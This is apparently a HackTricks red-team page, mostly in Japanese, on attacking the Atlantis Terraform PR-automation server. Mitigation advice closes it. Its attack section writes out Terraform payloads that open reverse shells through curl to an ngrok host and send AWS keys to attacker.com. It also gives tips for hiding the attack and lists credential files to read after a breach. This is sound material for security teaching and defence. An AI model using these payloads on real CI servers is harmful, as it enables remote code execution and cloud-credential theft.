Atlantis Security

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

Atlantisは基本的に、あなたのgitサーバーからのプルリクエストからterraformを実行するのを助けます。

Local Lab

https://github.com/runatlantis/atlantis/releasesのatlantisリリースページに行き、あなたに合ったものをダウンロードします。
githubユーザーの個人トークン（リポジトリアクセス付き）を作成します。
./atlantis testdriveを実行すると、atlantisと対話するために使用できるデモリポジトリが作成されます。
127.0.0.1:4141でウェブページにアクセスできます。

Atlantis Access

Git Server Credentials

AtlantisはGithub、Gitlab、Bitbucket、Azure DevOpsなどの複数のgitホストをサポートしています。ただし、これらのプラットフォームのリポジトリにアクセスし、アクションを実行するには、いくつかの特権アクセスが付与される必要があります（少なくとも書き込み権限）。 ドキュメントでは、Atlantis専用のユーザーをこれらのプラットフォームで作成することを推奨していますが、個人アカウントを使用する人もいるかもしれません。

いずれにせよ、攻撃者の視点から見ると、Atlantisアカウントは非常に興味深い****攻撃対象となるでしょう。

Webhooks

AtlantisはオプションでWebhook secretsを使用して、あなたのGitホストから受信するwebhooksが正当であることを確認します。

これを確認する方法の一つは、GitホストのIPからのみリクエストを許可することですが、より簡単な方法はWebhook Secretを使用することです。

プライベートなgithubやbitbucketサーバーを使用しない限り、webhookエンドポイントをインターネットに公開する必要があることに注意してください。

Atlantisはwebhooksを公開するため、gitサーバーが情報を送信できるようにします。攻撃者の視点からは、メッセージを送信できるかどうかを知ることが興味深いでしょう。

Provider Credentials

ドキュメントから:

Atlantisは、サーバーAtlantisがホストされている上で単に**terraform planとapply**コマンドを実行することでTerraformを実行します。ローカルでTerraformを実行するのと同様に、Atlantisは特定のプロバイダーのための資格情報が必要です。

あなたがどのように資格情報を提供するかはあなた次第です：

AtlantisのHelm ChartとAWS Fargate Moduleには、プロバイダー資格情報のための独自のメカニズムがあります。彼らのドキュメントを読んでください。
クラウドでAtlantisを実行している場合、多くのクラウドには、そこに実行されているアプリケーションにクラウドAPIアクセスを提供する方法があります。例：
AWS EC2 Roles（「EC2 Role」を検索）
GCE Instance Service Accounts
多くのユーザーは、Atlantisが実行されている場所で環境変数を設定します。例：AWS_ACCESS_KEY
他のユーザーは、Atlantisが実行されている場所で必要な設定ファイルを作成します。例：~/.aws/credentials
HashiCorp Vault Providerを使用してプロバイダー資格情報を取得します。

Atlantisが 実行されている コンテナには、AtlantisがTerraformを介して管理しているプロバイダー（AWS、GCP、Githubなど）への特権資格情報が含まれている可能性が非常に高いです。

Web Page

デフォルトでは、Atlantisはlocalhostのポート4141でウェブページを実行します。このページでは、atlantis applyを有効/無効にし、リポジトリのプランステータスを確認し、ロックを解除することができます（変更を加えることはできないため、それほど便利ではありません）。

インターネットに公開されていることはないと思いますが、デフォルトではアクセスするために資格情報は必要ないようです（必要な場合はatlantis:atlantisがデフォルトです）。

Server Configuration

atlantis serverの設定は、コマンドラインフラグ、環境変数、設定ファイル、またはその3つの組み合わせを介して指定できます。

Atlantisサーバーがサポートするフラグのリストをここで見つけることができます。
設定オプションを環境変数に変換する方法をここで見つけることができます。

値はこの順序で選択されます：

フラグ
環境変数
設定ファイル

設定の中には、トークンやパスワードなどの興味深い値が含まれている可能性があることに注意してください。

Repos Configuration

いくつかの設定はリポジトリの管理方法に影響します。ただし、各リポジトリが異なる設定を必要とする可能性があるため、各リポジトリを指定する方法があります。これが優先順位です：

リポジトリ/atlantis.ymlファイル。このファイルは、atlantisがリポジトリをどのように扱うべきかを指定するために使用できます。ただし、デフォルトでは、いくつかのキーは、これを許可するフラグなしでは指定できません。
おそらくallowed_overridesやallow_custom_workflowsのようなフラグによって許可される必要があります。
サーバーサイド設定：--repo-configフラグで渡すことができ、各リポジトリの新しい設定を構成するyamlです（正規表現がサポートされています）。
デフォルト値

PR Protections

Atlantisは、PRが他の誰かによって**承認されることを望むかどうか（ブランチ保護に設定されていなくても）や、マージ可能**（ブランチ保護が通過した）であることを示すことを許可します。セキュリティの観点から、両方のオプションを設定することが推奨されます。

allowed_overridesがTrueの場合、これらの設定は各プロジェクトの/atlantis.ymlファイルで上書きできます。

Scripts

リポジトリ設定は、ワークフローが実行される前（pre workflow hooks）と後（post workflow hooks）に実行するスクリプトを指定できます。

リポジトリの/atlantis.ymlファイルでこれらのスクリプトを指定するオプションはありません。

Workflow

リポジトリ設定（サーバーサイド設定）では、新しいデフォルトワークフローを指定したり、新しいカスタムワークフローを作成したりできます。また、どのリポジトリが生成された新しいものにアクセスできるかを指定できます。 その後、各リポジトリのatlantis.yamlファイルで使用するワークフローを指定**できます。

サーバーサイド設定フラグallow_custom_workflowsがTrueに設定されている場合、各リポジトリの**atlantis.yamlファイルでワークフローを指定できます。また、allowed_overridesがworkflowを指定して、使用されるワークフローを上書きする**必要がある可能性もあります。これは基本的に、そのリポジトリにアクセスできるユーザーにAtlantisサーバーでのRCEを与えることになります。

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Conftest ポリシーのチェック

Atlantis は、プラン出力に対して サーバーサイド conftest ポリシー を実行することをサポートしています。このステップを使用する一般的なユースケースには以下が含まれます：

モジュールのリストの使用を拒否する
リソースの作成時に属性を主張する
意図しないリソースの削除をキャッチする
セキュリティリスクを防ぐ（例：安全なポートを公開すること）

ドキュメントで設定方法を確認できます。

Atlantis コマンド

ドキュメントには、Atlantis を実行するために使用できるオプションが記載されています：

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

攻撃

もしエクスプロイト中にこのエラーが表示された場合: Error: Error acquiring the state lock

次のコマンドを実行することで修正できます:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - 新しいPRでの設定変更

リポジトリに書き込みアクセスがある場合、新しいブランチを作成し、PRを生成することができます。もし**atlantis planを実行できる**（または自動的に実行されるかもしれません）場合、Atlantisサーバー内でRCEを実行できるようになります。

これは、Atlantisに外部データソースを読み込ませることで実現できます。次のようなペイロードをmain.tfファイルに入れるだけです：

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

ステルス攻撃

この攻撃をよりステルス的な方法で実行するには、次の提案に従ってください：

rev shellをterraformファイルに直接追加するのではなく、rev shellを含む外部リソースを読み込むことができます：

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

You can find the rev shell code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

外部リソースでは、ref機能を使用して、リポジトリ内のブランチにあるterraform rev shellコードを隠します。例えば、git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2bのようにします。
マスターへのPRを作成する代わりに、2つのブランチ（test1とtest2）を作成し、片方からもう片方へのPRを作成します。攻撃が完了したら、PRとブランチを削除してください。

Atlantis plan Secrets Dump

atlantis plan（terraform plan）を実行することで、terraformで使用されるシークレットをダンプできます。terraformファイルに次のようなものを入れます：

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - 新しいPRでの設定変更

リポジトリに書き込みアクセスがある場合、新しいブランチを作成し、PRを生成することができます。atlantis applyを実行できる場合、Atlantisサーバー内でRCEを実行できるようになります。

ただし、通常はいくつかの保護を回避する必要があります：

マージ可能: この保護がAtlantisに設定されている場合、PRがマージ可能な場合にのみatlantis applyを実行できます（これはブランチ保護を回避する必要があることを意味します）。
潜在的なブランチ保護の回避を確認してください。
承認済み: この保護がAtlantisに設定されている場合、他のユーザーがPRを承認する必要があります。その後、atlantis applyを実行できます。
デフォルトでは、Gitbotトークンを悪用してこの保護を回避できます。

悪意のあるTerraformファイルで**terraform applyを実行するには**、local-execを使用します。 main.tfファイルに以下のようなペイロードが含まれていることを確認する必要があります：

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

前の技術からの提案に従って、この攻撃をより隠密に実行します。

Terraform パラメータインジェクション

atlantis plan または atlantis apply を実行すると、terraform が内部で実行されます。atlantis から terraform にコマンドを渡すには、次のようにコメントします:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

何かを渡すことができるのは、いくつかの保護を回避するのに役立つ可能性のあるenv変数です。Terraformのenv変数についてはhttps://www.terraform.io/cli/config/environment-variablesを確認してください。

カスタムワークフロー

atlantis.yamlファイルに指定された悪意のあるカスタムビルドコマンドを実行します。Atlantisはプルリクエストブランチのatlantis.yamlファイルを使用し、masterのものではありません。この可能性は前のセクションで言及されました：

サーバーサイド設定フラグallow_custom_workflowsがTrueに設定されている場合、各リポジトリの**atlantis.yamlファイルにワークフローを指定できます。また、allowed_overridesがワークフローをオーバーライドする**ために指定される必要がある可能性もあります。

これは基本的に、そのリポジトリにアクセスできる任意のユーザーにAtlantisサーバーでのRCEを与えることになります。

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

プラン/適用保護のバイパス

もしサーバーサイド設定フラグallowed_overridesがapply_requirementsを設定している場合、リポジトリはプラン/適用保護を変更してバイパスすることが可能です。

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

もし誰かがあなたの有効なプルリクエストに**atlantis plan/apply**というコメントを送信すると、望まないタイミングでterraformが実行されます。

さらに、新しいコミットがプッシュされたときにすべてのPRを再評価するようにブランチ保護が設定されていない場合、誰かがterraform設定に悪意のある設定を書き込み（前のシナリオを確認）、atlantis plan/applyを実行してRCEを得る可能性があります。

これがGithubブランチ保護の設定です：

Webhook Secret

もしあなたが使用されているwebhook secretを盗むことができた場合、またはwebhook secretが使用されていない場合、あなたはAtlantis webhookを呼び出し、atlantisコマンドを直接実行することができます。

Bitbucket

Bitbucket Cloudはwebhook secretsをサポートしていません。これにより攻撃者がBitbucketからのリクエストを偽装することが可能になります。BitbucketのIPのみを許可していることを確認してください。

これは、攻撃者がBitbucketから来ているように見える偽のリクエストをAtlantisに送信できることを意味します。
--repo-allowlistを指定している場合、彼らはそのリポジトリに関連するリクエストのみを偽装できるため、最も大きな被害はあなた自身のリポジトリでのplan/applyになります。
これを防ぐために、BitbucketのIPアドレスを許可リストに追加してください（Outbound IPv4 addressesを参照）。

Post-Exploitation

サーバーへのアクセスを取得した場合、または少なくともLFIを取得した場合、読むべき興味深いものがあります：

/home/atlantis/.git-credentials VCSアクセス資格情報を含む
/atlantis-data/atlantis.db より多くの情報を含むVCSアクセス資格情報
/atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform状態ファイル
例: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
/proc/1/environ 環境変数
/proc/[2-20]/cmdline atlantis serverのコマンドライン（機密データを含む可能性があります）

Mitigations

Don't Use On Public Repos

誰でも公共のプルリクエストにコメントできるため、すべてのセキュリティ対策が利用可能であっても、適切なセキュリティ設定の構成なしに公共のリポジトリでAtlantisを実行することは依然として危険です。

Don't Use `--allow-fork-prs`

公共のリポジトリで実行している場合（推奨されません、上記を参照）、--allow-fork-prsを設定すべきではありません（デフォルトはfalse）なぜなら、誰でも自分のフォークからあなたのリポジトリにプルリクエストを開くことができるからです。

`--repo-allowlist`

Atlantisは、--repo-allowlistフラグを介してwebhookを受け入れるリポジトリの許可リストを指定する必要があります。例えば：

特定のリポジトリ: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
あなたの組織全体: --repo-allowlist=github.com/runatlantis/*
GitHub Enterpriseインストール内のすべてのリポジトリ: --repo-allowlist=github.yourcompany.com/*
すべてのリポジトリ: --repo-allowlist=*。保護されたネットワークにいるときに便利ですが、webhook secretを設定しないと危険です。

このフラグは、あなたのAtlantisインストールがあなたが制御していないリポジトリで使用されていないことを保証します。詳細についてはatlantis server --helpを参照してください。

Protect Terraform Planning

攻撃者が悪意のあるTerraformコードを含むプルリクエストを提出することが脅威モデルに含まれている場合、terraform applyの承認だけでは不十分であることを認識する必要があります。terraform planで悪意のあるコードを実行することが可能であり、externalデータソースを使用するか、悪意のあるプロバイダーを指定することができます。このコードは、あなたの資格情報を外部に流出させる可能性があります。

これを防ぐために、次のことができます：

プロバイダーをAtlantisイメージに組み込むか、ホストして本番環境での出口を拒否します。
プロバイダー登録プロトコルを内部で実装し、公共の出口を拒否します。これにより、誰がレジストリへの書き込みアクセスを持つかを制御できます。
サーバー側リポジトリ設定のplanステップを修正して、許可されていないプロバイダーやデータソースの使用、または許可されていないユーザーからのPRを検証します。この時点で追加の検証を追加することもできます。例えば、planを続行する前にPRに「いいね」を要求することです。Conftestが役立つかもしれません。

Webhook Secrets

Atlantisは、$ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET環境変数を介してWebhook secretsを設定して実行する必要があります。--repo-allowlistフラグが設定されていても、webhook secretがない場合、攻撃者は許可リストに載っているリポジトリを装ってAtlantisにリクエストを送信することができます。Webhook secretsは、webhookリクエストが実際にあなたのVCSプロバイダー（GitHubまたはGitLab）から来ていることを保証します。

Azure DevOpsを使用している場合、webhook secretsの代わりに基本的なユーザー名とパスワードを追加してください。

Azure DevOps Basic Authentication

Azure DevOpsは、すべてのwebhookイベントで基本認証ヘッダーを送信することをサポートしています。これには、webhookの場所にHTTPS URLを使用する必要があります。

SSL/HTTPS

webhook secretsを使用しているが、トラフィックがHTTP経由である場合、webhook secretsが盗まれる可能性があります。--ssl-cert-fileおよび--ssl-key-fileフラグを使用してSSL/HTTPSを有効にしてください。

Enable Authentication on Atlantis Web Server

Webサービスでの認証を有効にすることを強く推奨します。--web-basic-auth=trueを使用してBasicAuthを有効にし、--web-username=yourUsernameおよび--web-password=yourPasswordフラグを使用してユーザー名とパスワードを設定します。

これらを環境変数ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsernameおよびATLANTIS_WEB_PASSWORD=yourPasswordとして渡すこともできます。

References